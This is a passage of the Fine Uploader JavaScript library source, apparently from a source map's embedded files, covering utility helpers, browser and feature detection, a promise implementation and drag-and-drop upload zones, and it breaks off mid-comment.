qq.isFileChunkingSupported = function() {\n        return !qq.androidStock() && //Android's stock browser cannot upload Blobs correctly\n            qq.isXhrUploadSupported() &&\n            (File.prototype.slice !== undefined || File.prototype.webkitSlice !== undefined || File.prototype.mozSlice !== undefined);\n    };\n\n    qq.sliceBlob = function(fileOrBlob, start, end) {\n        var slicer = fileOrBlob.slice || fileOrBlob.mozSlice || fileOrBlob.webkitSlice;\n\n        return slicer.call(fileOrBlob, start, end);\n    };\n\n    qq.arrayBufferToHex = function(buffer) {\n        var bytesAsHex = \"\",\n            bytes = new Uint8Array(buffer);\n\n        qq.each(bytes, function(idx, byt) {\n            var byteAsHexStr = byt.toString(16);\n\n            if (byteAsHexStr.length < 2) {\n                byteAsHexStr = \"0\" + byteAsHexStr;\n            }\n\n            bytesAsHex += byteAsHexStr;\n        });\n\n        return bytesAsHex;\n    };\n\n    qq.readBlobToHex = function(blob, startOffset, length) {\n        var initialBlob = qq.sliceBlob(blob, startOffset, startOffset + length),\n            fileReader = new FileReader(),\n            promise = new qq.Promise();\n\n        fileReader.onload = function() {\n            promise.success(qq.arrayBufferToHex(fileReader.result));\n        };\n\n        fileReader.onerror = promise.failure;\n\n        fileReader.readAsArrayBuffer(initialBlob);\n\n        return promise;\n    };\n\n    qq.extend = function(first, second, extendNested) {\n        qq.each(second, function(prop, val) {\n            if (extendNested && qq.isObject(val)) {\n                if (first[prop] === undefined) {\n                    first[prop] = {};\n                }\n                qq.extend(first[prop], val, true);\n            }\n            else {\n                first[prop] = val;\n            }\n        });\n\n        return first;\n    };\n\n    /**\n     * Allow properties in one object to override properties in another,\n     * keeping track of the original values from the target object.\n     *\n     * Note that the pre-overriden properties to be overriden by the source will be passed into the `sourceFn` when it is invoked.\n     *\n     * @param target Update properties in this object from some source\n     * @param sourceFn A function that, when invoked, will return properties that will replace properties with the same name in the target.\n     * @returns {object} The target object\n     */\n    qq.override = function(target, sourceFn) {\n        var super_ = {},\n            source = sourceFn(super_);\n\n        qq.each(source, function(srcPropName, srcPropVal) {\n            if (target[srcPropName] !== undefined) {\n                super_[srcPropName] = target[srcPropName];\n            }\n\n            target[srcPropName] = srcPropVal;\n        });\n\n        return target;\n    };\n\n    /**\n     * Searches for a given element (elt) in the array, returns -1 if it is not present.\n     */\n    qq.indexOf = function(arr, elt, from) {\n        if (arr.indexOf) {\n            return arr.indexOf(elt, from);\n        }\n\n        from = from || 0;\n        var len = arr.length;\n\n        if (from < 0) {\n            from += len;\n        }\n\n        for (; from < len; from += 1) {\n            if (arr.hasOwnProperty(from) && arr[from] === elt) {\n                return from;\n            }\n        }\n        return -1;\n    };\n\n    //this is a version 4 UUID\n    qq.getUniqueId = function() {\n        return \"xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx\".replace(/[xy]/g, function(c) {\n            /*jslint eqeq: true, bitwise: true*/\n            var r = Math.random() * 16 | 0, v = c == \"x\" ? r : (r & 0x3 | 0x8);\n            return v.toString(16);\n        });\n    };\n\n    //\n    // Browsers and platforms detection\n    qq.ie = function() {\n        return navigator.userAgent.indexOf(\"MSIE\") !== -1 ||\n            navigator.userAgent.indexOf(\"Trident\") !== -1;\n    };\n\n    qq.ie7 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 7\") !== -1;\n    };\n\n    qq.ie8 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 8\") !== -1;\n    };\n\n    qq.ie10 = function() {\n        return navigator.userAgent.indexOf(\"MSIE 10\") !== -1;\n    };\n\n    qq.ie11 = function() {\n        return qq.ie() && navigator.userAgent.indexOf(\"rv:11\") !== -1;\n    };\n\n    qq.edge = function() {\n        return navigator.userAgent.indexOf(\"Edge\") >= 0;\n    };\n\n    qq.safari = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Apple\") !== -1;\n    };\n\n    qq.chrome = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Google\") !== -1;\n    };\n\n    qq.opera = function() {\n        return navigator.vendor !== undefined && navigator.vendor.indexOf(\"Opera\") !== -1;\n    };\n\n    qq.firefox = function() {\n        return (!qq.edge() && !qq.ie11() && navigator.userAgent.indexOf(\"Mozilla\") !== -1 && navigator.vendor !== undefined && navigator.vendor === \"\");\n    };\n\n    qq.windows = function() {\n        return navigator.platform === \"Win32\";\n    };\n\n    qq.android = function() {\n        return navigator.userAgent.toLowerCase().indexOf(\"android\") !== -1;\n    };\n\n    // We need to identify the Android stock browser via the UA string to work around various bugs in this browser,\n    // such as the one that prevents a `Blob` from being uploaded.\n    qq.androidStock = function() {\n        return qq.android() && navigator.userAgent.toLowerCase().indexOf(\"chrome\") < 0;\n    };\n\n    qq.ios6 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 6_\") !== -1;\n    };\n\n    qq.ios7 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 7_\") !== -1;\n    };\n\n    qq.ios8 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_\") !== -1;\n    };\n\n    // iOS 8.0.0\n    qq.ios800 = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\" OS 8_0 \") !== -1;\n    };\n\n    qq.ios = function() {\n        /*jshint -W014 */\n        return navigator.userAgent.indexOf(\"iPad\") !== -1\n            || navigator.userAgent.indexOf(\"iPod\") !== -1\n            || navigator.userAgent.indexOf(\"iPhone\") !== -1;\n    };\n\n    qq.iosChrome = function() {\n        return qq.ios() && navigator.userAgent.indexOf(\"CriOS\") !== -1;\n    };\n\n    qq.iosSafari = function() {\n        return qq.ios() && !qq.iosChrome() && navigator.userAgent.indexOf(\"Safari\") !== -1;\n    };\n\n    qq.iosSafariWebView = function() {\n        return qq.ios() && !qq.iosChrome() && !qq.iosSafari();\n    };\n\n    //\n    // Events\n\n    qq.preventDefault = function(e) {\n        if (e.preventDefault) {\n            e.preventDefault();\n        } else {\n            e.returnValue = false;\n        }\n    };\n\n    /**\n     * Creates and returns element from html string\n     * Uses innerHTML to create an element\n     */\n    qq.toElement = (function() {\n        var div = document.createElement(\"div\");\n        return function(html) {\n            div.innerHTML = html;\n            var element = div.firstChild;\n            div.removeChild(element);\n            return element;\n        };\n    }());\n\n    //key and value are passed to callback for each entry in the iterable item\n    qq.each = function(iterableItem, callback) {\n        var keyOrIndex, retVal;\n\n        if (iterableItem) {\n            // Iterate through [`Storage`](http://www.w3.org/TR/webstorage/#the-storage-interface) items\n            if (window.Storage && iterableItem.constructor === window.Storage) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(iterableItem.key(keyOrIndex), iterableItem.getItem(iterableItem.key(keyOrIndex)));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            // `DataTransferItemList` & `NodeList` objects are array-like and should be treated as arrays\n            // when iterating over items inside the object.\n            else if (qq.isArray(iterableItem) || qq.isItemList(iterableItem) || qq.isNodeList(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else if (qq.isString(iterableItem)) {\n                for (keyOrIndex = 0; keyOrIndex < iterableItem.length; keyOrIndex++) {\n                    retVal = callback(keyOrIndex, iterableItem.charAt(keyOrIndex));\n                    if (retVal === false) {\n                        break;\n                    }\n                }\n            }\n            else {\n                for (keyOrIndex in iterableItem) {\n                    if (Object.prototype.hasOwnProperty.call(iterableItem, keyOrIndex)) {\n                        retVal = callback(keyOrIndex, iterableItem[keyOrIndex]);\n                        if (retVal === false) {\n                            break;\n                        }\n                    }\n                }\n            }\n        }\n    };\n\n    //include any args that should be passed to the new function after the context arg\n    qq.bind = function(oldFunc, context) {\n        if (qq.isFunction(oldFunc)) {\n            var args =  Array.prototype.slice.call(arguments, 2);\n\n            return function() {\n                var newArgs = qq.extend([], args);\n                if (arguments.length) {\n                    newArgs = newArgs.concat(Array.prototype.slice.call(arguments));\n                }\n                return oldFunc.apply(context, newArgs);\n            };\n        }\n\n        throw new Error(\"first parameter must be a function!\");\n    };\n\n    /**\n     * obj2url() takes a json-object as argument and generates\n     * a querystring. pretty much like jQuery.param()\n     *\n     * how to use:\n     *\n     *    `qq.obj2url({a:'b',c:'d'},'http://any.url/upload?otherParam=value');`\n     *\n     * will result in:\n     *\n     *    `http://any.url/upload?otherParam=value&a=b&c=d`\n     *\n     * @param  Object JSON-Object\n     * @param  String current querystring-part\n     * @return String encoded querystring\n     */\n    qq.obj2url = function(obj, temp, prefixDone) {\n        /*jshint laxbreak: true*/\n        var uristrings = [],\n            prefix = \"&\",\n            add = function(nextObj, i) {\n                var nextTemp = temp\n                    ? (/\\[\\]$/.test(temp)) // prevent double-encoding\n                    ? temp\n                    : temp + \"[\" + i + \"]\"\n                    : i;\n                if ((nextTemp !== \"undefined\") && (i !== \"undefined\")) {\n                    uristrings.push(\n                        (typeof nextObj === \"object\")\n                            ? qq.obj2url(nextObj, nextTemp, true)\n                            : (Object.prototype.toString.call(nextObj) === \"[object Function]\")\n                            ? encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj())\n                            : encodeURIComponent(nextTemp) + \"=\" + encodeURIComponent(nextObj)\n                    );\n                }\n            };\n\n        if (!prefixDone && temp) {\n            prefix = (/\\?/.test(temp)) ? (/\\?$/.test(temp)) ? \"\" : \"&\" : \"?\";\n            uristrings.push(temp);\n            uristrings.push(qq.obj2url(obj));\n        } else if ((Object.prototype.toString.call(obj) === \"[object Array]\") && (typeof obj !== \"undefined\")) {\n            qq.each(obj, function(idx, val) {\n                add(val, idx);\n            });\n        } else if ((typeof obj !== \"undefined\") && (obj !== null) && (typeof obj === \"object\")) {\n            qq.each(obj, function(prop, val) {\n                add(val, prop);\n            });\n        } else {\n            uristrings.push(encodeURIComponent(temp) + \"=\" + encodeURIComponent(obj));\n        }\n\n        if (temp) {\n            return uristrings.join(prefix);\n        } else {\n            return uristrings.join(prefix)\n                .replace(/^&/, \"\")\n                .replace(/%20/g, \"+\");\n        }\n    };\n\n    qq.obj2FormData = function(obj, formData, arrayKeyName) {\n        if (!formData) {\n            formData = new FormData();\n        }\n\n        qq.each(obj, function(key, val) {\n            key = arrayKeyName ? arrayKeyName + \"[\" + key + \"]\" : key;\n\n            if (qq.isObject(val)) {\n                qq.obj2FormData(val, formData, key);\n            }\n            else if (qq.isFunction(val)) {\n                formData.append(key, val());\n            }\n            else {\n                formData.append(key, val);\n            }\n        });\n\n        return formData;\n    };\n\n    qq.obj2Inputs = function(obj, form) {\n        var input;\n\n        if (!form) {\n            form = document.createElement(\"form\");\n        }\n\n        qq.obj2FormData(obj, {\n            append: function(key, val) {\n                input = document.createElement(\"input\");\n                input.setAttribute(\"name\", key);\n                input.setAttribute(\"value\", val);\n                form.appendChild(input);\n            }\n        });\n\n        return form;\n    };\n\n    /**\n     * Not recommended for use outside of Fine Uploader since this falls back to an unchecked eval if JSON.parse is not\n     * implemented.  For a more secure JSON.parse polyfill, use Douglas Crockford's json2.js.\n     */\n    qq.parseJson = function(json) {\n        /*jshint evil: true*/\n        if (window.JSON && qq.isFunction(JSON.parse)) {\n            return JSON.parse(json);\n        } else {\n            return eval(\"(\" + json + \")\");\n        }\n    };\n\n    /**\n     * Retrieve the extension of a file, if it exists.\n     *\n     * @param filename\n     * @returns {string || undefined}\n     */\n    qq.getExtension = function(filename) {\n        var extIdx = filename.lastIndexOf(\".\") + 1;\n\n        if (extIdx > 0) {\n            return filename.substr(extIdx, filename.length - extIdx);\n        }\n    };\n\n    qq.getFilename = function(blobOrFileInput) {\n        /*jslint regexp: true*/\n\n        if (qq.isInput(blobOrFileInput)) {\n            // get input value and remove path to normalize\n            return blobOrFileInput.value.replace(/.*(\\/|\\\\)/, \"\");\n        }\n        else if (qq.isFile(blobOrFileInput)) {\n            if (blobOrFileInput.fileName !== null && blobOrFileInput.fileName !== undefined) {\n                return blobOrFileInput.fileName;\n            }\n        }\n\n        return blobOrFileInput.name;\n    };\n\n    /**\n     * A generic module which supports object disposing in dispose() method.\n     * */\n    qq.DisposeSupport = function() {\n        var disposers = [];\n\n        return {\n            /** Run all registered disposers */\n            dispose: function() {\n                var disposer;\n                do {\n                    disposer = disposers.shift();\n                    if (disposer) {\n                        disposer();\n                    }\n                }\n                while (disposer);\n            },\n\n            /** Attach event handler and register de-attacher as a disposer */\n            attach: function() {\n                var args = arguments;\n                /*jslint undef:true*/\n                this.addDisposer(qq(args[0]).attach.apply(this, Array.prototype.slice.call(arguments, 1)));\n            },\n\n            /** Add disposer to the collection */\n            addDisposer: function(disposeFunction) {\n                disposers.push(disposeFunction);\n            }\n        };\n    };\n}());\n","/* globals define, module, global, qq */\n(function() {\n    \"use strict\";\n    if (typeof define === \"function\" && define.amd) {\n        define(function() {\n            return qq;\n        });\n    }\n    else if (typeof module !== \"undefined\" && module.exports) {\n        module.exports = qq;\n    }\n    else {\n        global.qq = qq;\n    }\n}());\n","/*global qq */\nqq.version = \"5.11.8\";\n","/* globals qq */\nqq.supportedFeatures = (function() {\n    \"use strict\";\n\n    var supportsUploading,\n        supportsUploadingBlobs,\n        supportsFileDrop,\n        supportsAjaxFileUploading,\n        supportsFolderDrop,\n        supportsChunking,\n        supportsResume,\n        supportsUploadViaPaste,\n        supportsUploadCors,\n        supportsDeleteFileXdr,\n        supportsDeleteFileCorsXhr,\n        supportsDeleteFileCors,\n        supportsFolderSelection,\n        supportsImagePreviews,\n        supportsUploadProgress;\n\n    function testSupportsFileInputElement() {\n        var supported = true,\n            tempInput;\n\n        try {\n            tempInput = document.createElement(\"input\");\n            tempInput.type = \"file\";\n            qq(tempInput).hide();\n\n            if (tempInput.disabled) {\n                supported = false;\n            }\n        }\n        catch (ex) {\n            supported = false;\n        }\n\n        return supported;\n    }\n\n    //only way to test for Filesystem API support since webkit does not expose the DataTransfer interface\n    function isChrome21OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[2][1-9]|Chrome\\/[3-9][0-9]/) !== undefined;\n    }\n\n    //only way to test for complete Clipboard API support at this time\n    function isChrome14OrHigher() {\n        return (qq.chrome() || qq.opera()) &&\n            navigator.userAgent.match(/Chrome\\/[1][4-9]|Chrome\\/[2-9][0-9]/) !== undefined;\n    }\n\n    //Ensure we can send cross-origin `XMLHttpRequest`s\n    function isCrossOriginXhrSupported() {\n        if (window.XMLHttpRequest) {\n            var xhr = qq.createXhrInstance();\n\n            //Commonly accepted test for XHR CORS support.\n            return xhr.withCredentials !== undefined;\n        }\n\n        return false;\n    }\n\n    //Test for (terrible) cross-origin ajax transport fallback for IE9 and IE8\n    function isXdrSupported() {\n        return window.XDomainRequest !== undefined;\n    }\n\n    // CORS Ajax requests are supported if it is either possible to send credentialed `XMLHttpRequest`s,\n    // or if `XDomainRequest` is an available alternative.\n    function isCrossOriginAjaxSupported() {\n        if (isCrossOriginXhrSupported()) {\n            return true;\n        }\n\n        return isXdrSupported();\n    }\n\n    function isFolderSelectionSupported() {\n        // We know that folder selection is only supported in Chrome via this proprietary attribute for now\n        return document.createElement(\"input\").webkitdirectory !== undefined;\n    }\n\n    function isLocalStorageSupported() {\n        try {\n            return !!window.localStorage &&\n                // unpatched versions of IE10/11 have buggy impls of localStorage where setItem is a string\n                qq.isFunction(window.localStorage.setItem);\n        }\n        catch (error) {\n            // probably caught a security exception, so no localStorage for you\n            return false;\n        }\n    }\n\n    function isDragAndDropSupported() {\n        var span = document.createElement(\"span\");\n\n        return (\"draggable\" in span || (\"ondragstart\" in span && \"ondrop\" in span)) &&\n            !qq.android() && !qq.ios();\n    }\n\n    supportsUploading = testSupportsFileInputElement();\n\n    supportsAjaxFileUploading = supportsUploading && qq.isXhrUploadSupported();\n\n    supportsUploadingBlobs = supportsAjaxFileUploading && !qq.androidStock();\n\n    supportsFileDrop = supportsAjaxFileUploading && isDragAndDropSupported();\n\n    supportsFolderDrop = supportsFileDrop && isChrome21OrHigher();\n\n    supportsChunking = supportsAjaxFileUploading && qq.isFileChunkingSupported();\n\n    supportsResume = supportsAjaxFileUploading && supportsChunking && isLocalStorageSupported();\n\n    supportsUploadViaPaste = supportsAjaxFileUploading && isChrome14OrHigher();\n\n    supportsUploadCors = supportsUploading && (window.postMessage !== undefined || supportsAjaxFileUploading);\n\n    supportsDeleteFileCorsXhr = isCrossOriginXhrSupported();\n\n    supportsDeleteFileXdr = isXdrSupported();\n\n    supportsDeleteFileCors = isCrossOriginAjaxSupported();\n\n    supportsFolderSelection = isFolderSelectionSupported();\n\n    supportsImagePreviews = supportsAjaxFileUploading && window.FileReader !== undefined;\n\n    supportsUploadProgress = (function() {\n        if (supportsAjaxFileUploading) {\n            return !qq.androidStock() && !qq.iosChrome();\n        }\n        return false;\n    }());\n\n    return {\n        ajaxUploading: supportsAjaxFileUploading,\n        blobUploading: supportsUploadingBlobs,\n        canDetermineSize: supportsAjaxFileUploading,\n        chunking: supportsChunking,\n        deleteFileCors: supportsDeleteFileCors,\n        deleteFileCorsXdr: supportsDeleteFileXdr, //NOTE: will also return true in IE10, where XDR is also supported\n        deleteFileCorsXhr: supportsDeleteFileCorsXhr,\n        dialogElement: !!window.HTMLDialogElement,\n        fileDrop: supportsFileDrop,\n        folderDrop: supportsFolderDrop,\n        folderSelection: supportsFolderSelection,\n        imagePreviews: supportsImagePreviews,\n        imageValidation: supportsImagePreviews,\n        itemSizeValidation: supportsAjaxFileUploading,\n        pause: supportsChunking,\n        progressBar: supportsUploadProgress,\n        resume: supportsResume,\n        scaling: supportsImagePreviews && supportsUploadingBlobs,\n        tiffPreviews: qq.safari(), // Not the best solution, but simple and probably accurate enough (for now)\n        unlimitedScaledImageSize: !qq.ios(), // false simply indicates that there is some known limit\n        uploading: supportsUploading,\n        uploadCors: supportsUploadCors,\n        uploadCustomHeaders: supportsAjaxFileUploading,\n        uploadNonMultipart: supportsAjaxFileUploading,\n        uploadViaPaste: supportsUploadViaPaste\n    };\n\n}());\n","/*globals qq*/\n\n// Is the passed object a promise instance?\nqq.isGenericPromise = function(maybePromise) {\n    \"use strict\";\n    return !!(maybePromise && maybePromise.then && qq.isFunction(maybePromise.then));\n};\n\nqq.Promise = function() {\n    \"use strict\";\n\n    var successArgs, failureArgs,\n        successCallbacks = [],\n        failureCallbacks = [],\n        doneCallbacks = [],\n        state = 0;\n\n    qq.extend(this, {\n        then: function(onSuccess, onFailure) {\n            if (state === 0) {\n                if (onSuccess) {\n                    successCallbacks.push(onSuccess);\n                }\n                if (onFailure) {\n                    failureCallbacks.push(onFailure);\n                }\n            }\n            else if (state === -1) {\n                onFailure && onFailure.apply(null, failureArgs);\n            }\n            else if (onSuccess) {\n                onSuccess.apply(null, successArgs);\n            }\n\n            return this;\n        },\n\n        done: function(callback) {\n            if (state === 0) {\n                doneCallbacks.push(callback);\n            }\n            else {\n                callback.apply(null, failureArgs === undefined ? successArgs : failureArgs);\n            }\n\n            return this;\n        },\n\n        success: function() {\n            state = 1;\n            successArgs = arguments;\n\n            if (successCallbacks.length) {\n                qq.each(successCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, successArgs);\n                });\n            }\n\n            return this;\n        },\n\n        failure: function() {\n            state = -1;\n            failureArgs = arguments;\n\n            if (failureCallbacks.length) {\n                qq.each(failureCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            if (doneCallbacks.length) {\n                qq.each(doneCallbacks, function(idx, callback) {\n                    callback.apply(null, failureArgs);\n                });\n            }\n\n            return this;\n        }\n    });\n};\n","/*globals qq, document, CustomEvent*/\nqq.DragAndDrop = function(o) {\n    \"use strict\";\n\n    var options,\n        HIDE_ZONES_EVENT_NAME = \"qq-hidezones\",\n        HIDE_BEFORE_ENTER_ATTR = \"qq-hide-dropzone\",\n        uploadDropZones = [],\n        droppedFiles = [],\n        disposeSupport = new qq.DisposeSupport();\n\n    options = {\n        dropZoneElements: [],\n        allowMultipleItems: true,\n        classes: {\n            dropActive: null\n        },\n        callbacks: new qq.DragAndDrop.callbacks()\n    };\n\n    qq.extend(options, o, true);\n\n    function uploadDroppedFiles(files, uploadDropZone) {\n        // We need to convert the `FileList` to an actual `Array` to avoid iteration issues\n        var filesAsArray = Array.prototype.slice.call(files);\n\n        options.callbacks.dropLog(\"Grabbed \" + files.length + \" dropped files.\");\n        uploadDropZone.dropDisabled(false);\n        options.callbacks.processingDroppedFilesComplete(filesAsArray, uploadDropZone.getElement());\n    }\n\n    function traverseFileTree(entry) {\n        var parseEntryPromise = new qq.Promise();\n\n        if (entry.isFile) {\n            entry.file(function(file) {\n                var name = entry.name,\n                    fullPath = entry.fullPath,\n                    indexOfNameInFullPath = fullPath.indexOf(name);\n\n                // remove file name from full path string\n                fullPath = fullPath.substr(0, indexOfNameInFullPath);\n\n                // remove leading slash in full path string\n                if (fullPath.charAt(0) === \"/\") {\n                    fullPath = fullPath.substr(1);\n                }\n\n                file.qqPath = fullPath;\n                droppedFiles.push(file);\n                parseEntryPromise.success();\n            },\n            function(fileError) {\n                options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                parseEntryPromise.failure();\n            });\n        }\n        else if (entry.isDirectory) {\n            getFilesInDirectory(entry).then(\n                function allEntriesRead(entries) {\n                    var entriesLeft = entries.length;\n\n                    qq.each(entries, function(idx, entry) {\n                        traverseFileTree(entry).done(function() {\n                            entriesLeft -= 1;\n\n                            if (entriesLeft === 0) {\n                                parseEntryPromise.success();\n                            }\n                        });\n                    });\n\n                    if (!entries.length) {\n                        parseEntryPromise.success();\n                    }\n                },\n\n                function readFailure(fileError) {\n                    options.callbacks.dropLog(\"Problem parsing '\" + entry.fullPath + \"'.  FileError code \" + fileError.code + \".\", \"error\");\n                    parseEntryPromise.failure();\n                }\n            );\n        }\n\n        return parseEntryPromise;\n    }\n\n    // Promissory.  Guaranteed to read all files in the root of the passed directory.\n    function getFilesInDirectory(entry, reader, accumEntries, existingPromise) {\n        var promise = existingPromise || new qq.Promise(),\n            dirReader = reader || entry.createReader();\n\n        dirReader.readEntries(\n            function readSuccess(entries) {\n                var newEntries = accumEntries ? accumEntries.concat(entries) : entries;\n\n                if (entries.length) {\n                    setTimeout(function() { // prevent stack overflow, however unlikely\n                        getFilesInDirectory(entry, dirReader, newEntries, promise);\n                    }, 0);\n                }\n                else {\n                    promise.success(newEntries);\n                }\n            },\n\n            promise.failure\n        );\n\n        return promise;\n    }\n\n    function handleDataTransfer(dataTransfer, uploadDropZone) {\n        var pendingFolderPromises = [],\n            handleDataTransferPromise = new qq.Promise();\n\n        options.callbacks.processingDroppedFiles();\n        uploadDropZone.dropDisabled(true);\n\n        if (dataTransfer.files.length > 1 && !options.allowMultipleItems) {\n            options.callbacks.processingDroppedFilesComplete([]);\n            options.callbacks.dropError(\"tooManyFilesError\", \"\");\n            uploadDropZone.dropDisabled(false);\n            handleDataTransferPromise.failure();\n        }\n        else {\n            droppedFiles = [];\n\n            if (qq.isFolderDropSupported(dataTransfer)) {\n                qq.each(dataTransfer.items, function(idx, item) {\n                    var entry = item.webkitGetAsEntry();\n\n                    if (entry) {\n                        //due to a bug in Chrome's File System API impl - #149735\n                        if (entry.isFile) {\n                            droppedFiles.push(item.getAsFile());\n                        }\n\n                        else {\n                            pendingFolderPromises.push(traverseFileTree(entry).done(function() {\n                                pendingFolderPromises.pop();\n                                if (pendingFolderPromises.length === 0) {\n                                    handleDataTransferPromise.success();\n                                }\n                            }));\n                        }\n                    }\n                });\n            }\n            else {\n                droppedFiles = dataTransfer.files;\n            }\n\n            if (pendingFolderPromises.length === 0) {\n                handleDataTransferPromise.success();\n            }\n        }\n\n        return handleDataTransferPromise;\n    }\n\n    function setupDropzone(dropArea) {\n        var dropZone = new qq.UploadDropZone({\n            HIDE_ZONES_EVENT_NAME: HIDE_ZONES_EVENT_NAME,\n            element: dropArea,\n            onEnter: function(e) {\n                qq(dropArea).addClass(options.classes.dropActive);\n                e.stopPropagation();\n            },\n            onLeaveNotDescendants: function(e) {\n                qq(dropArea).removeClass(options.classes.dropActive);\n            },\n            onDrop: function(e) {\n                handleDataTransfer(e.dataTransfer, dropZone).then(\n                    function() {\n                        uploadDroppedFiles(droppedFiles, dropZone);\n                    },\n                    function() {\n                        options.callbacks.dropLog(\"Drop event DataTransfer parsing failed.  No files will be uploaded.\", \"error\");\n                    }\n                );\n            }\n        });\n\n        disposeSupport.addDisposer(function() {\n            dropZone.dispose();\n        });\n\n        qq(dropArea).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropArea).hide();\n\n        uploadDropZones.push(dropZone);\n\n        return dropZone;\n    }\n\n    function isFileDrag(dragEvent) {\n        var fileDrag;\n\n        qq.each(dragEvent.dataTransfer.types, function(key, val) {\n            if (val === \"Files\") {\n                fileDrag = true;\n                return false;\n            }\n        });\n\n        return fileDrag;\n    }\n\n    // Attempt to determine when the file has left the document.  It is not always possible to detect this\n    // in all cases, but it is generally possible in all browsers, with a few exceptions.\n    //\n    // Exceptions:\n    // * IE10+ & Safari: We can't detect a file leaving the document if the Explorer window housing the file\n    //                   overlays the browser window.\n    // * IE10+: If the file is dragged out of the window too quickly, IE does not set the expected values of the\n    //          event's X & Y properties.\n    function leavingDocumentOut(e) {\n        if (qq.firefox()) {\n            return !e.relatedTarget;\n        }\n\n        if (qq.safari()) {\n            return e.x < 0 || e.y < 0;\n        }\n\n        return e.x === 0 && e.y === 0;\n    }\n\n    function setupDragDrop() {\n        var dropZones = options.dropZoneElements,\n\n            maybeHideDropZones = function() {\n                setTimeout(function() {\n                    qq.each(dropZones, function(idx, dropZone) {\n                        qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR) && qq(dropZone).hide();\n                        qq(dropZone).removeClass(options.classes.dropActive);\n                    });\n                }, 10);\n            };\n\n        qq.each(dropZones, function(idx, dropZone) {\n            var uploadDropZone = setupDropzone(dropZone);\n\n            // IE <= 9 does not support the File API used for drag+drop uploads\n            if (dropZones.length && qq.supportedFeatures.fileDrop) {\n                disposeSupport.attach(document, \"dragenter\", function(e) {\n                    if (!uploadDropZone.dropDisabled() && isFileDrag(e)) {\n                        qq.each(dropZones, function(idx, dropZone) {\n                            // We can't apply styles to non-HTMLElements, since they lack the `style` property.\n                            // Also, if the drop zone isn't initially hidden, let's not mess with `style.display`.\n                            if (dropZone instanceof HTMLElement &&\n                                qq(dropZone).hasAttribute(HIDE_BEFORE_ENTER_ATTR)) {\n\n                                qq(dropZone).css({display: \"block\"});\n                            }\n                        });\n                    }\n                });\n            }\n        });\n\n        disposeSupport.attach(document, \"dragleave\", function(e) {\n            if (leavingDocumentOut(e)) {\n                maybeHideDropZones();\n            }\n        });\n\n        // Just in case we were not able to detect when a dragged file has left the document,\n        // hide all relevant drop zones the next time the mouse enters the document.\n        // Note that mouse events such as this one are not fired during drag operations.\n        disposeSupport.attach(qq(document).children()[0], \"mouseenter\", function(e) {\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, \"drop\", function(e) {\n            e.preventDefault();\n            maybeHideDropZones();\n        });\n\n        disposeSupport.attach(document, HIDE_ZONES_EVENT_NAME, maybeHideDropZones);\n    }\n\n    setupDragDrop();\n\n    qq.extend(this, {\n        setupExtraDropzone: function(element) {\n            options.dropZoneElements.push(element);\n            setupDropzone(element);\n        },\n\n        removeDropzone: function(element) {\n            var i,\n                dzs = options.dropZoneElements;\n\n            for (i in dzs) {\n                if (dzs[i] === element) {\n                    return dzs.splice(i, 1);\n                }\n            }\n        },\n\n        dispose: function() {\n            disposeSupport.dispose();\n            qq.each(uploadDropZones, function(idx, dropZone) {\n                dropZone.dispose();\n            });\n        }\n    });\n};\n\nqq.DragAndDrop.callbacks = function() {\n    \"use strict\";\n\n    return {\n        processingDroppedFiles: function() {},\n        processingDroppedFilesComplete: function(files, targetEl) {},\n        dropError: function(code, errorSpecifics) {\n            qq.log(\"Drag & drop error code '\" + code + \" with these specifics: '\" + errorSpecifics + \"'\", \"error\");\n        },\n        dropLog: function(message, level) {\n            qq.log(message, level);\n        }\n    };\n};\n\nqq.UploadDropZone = function(o) {\n    \"use strict\";\n\n    var disposeSupport = new qq.DisposeSupport(),\n        options, element, preventDrop, dropOutsideDisabled;\n\n    options = {\n        element: null,\n        onEnter: function(e) {},\n        onLeave: function(e) {},\n        // is not fired when leaving element by hovering descendants\n        onLeaveNotDescendants: function(e) {},\n        onDrop: function(e) {}\n    };\n\n    qq.extend(options, o);\n    element = options.element;\n\n    function dragoverShouldBeCanceled() {\n        return qq.safari() || (qq.firefox() && qq.windows());\n    }\n\n    function disableDropOutside(e) {\n        // run only once for all instances\n        if (!dropOutsideDisabled) {\n\n            // for these cases we need to catch onDrop to reset dropArea\n            if (dragoverShouldBeCanceled) {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    e.preventDefault();\n                });\n            } else {\n                disposeSupport.attach(document, \"dragover\", function(e) {\n                    if (e.dataTransfer) {\n                        e.dataTransfer.dropEffect = \"none\";\n                        e.preventDefault();\n                    }\n                });\n            }\n\n            dropOutsideDisabled = true;\n        }\n    }\n\n    function isValidFileDrag(e) {\n        // e.dataTransfer currently causing IE errors\n        // IE9 does NOT support file API, so drag-and-drop is not possible\n        if (!qq.supportedFeatures.fileDrop) {\n            return false;\n        }\n\n        var effectTest, dt = e.dataTransfer,\n        // do not check dt.types.contains in webkit, because it crashes safari 4\n        isSafari = qq.safari();\n\n        // dt.effectAllowed is none in Safari 5\n        // dt.types.contains check is 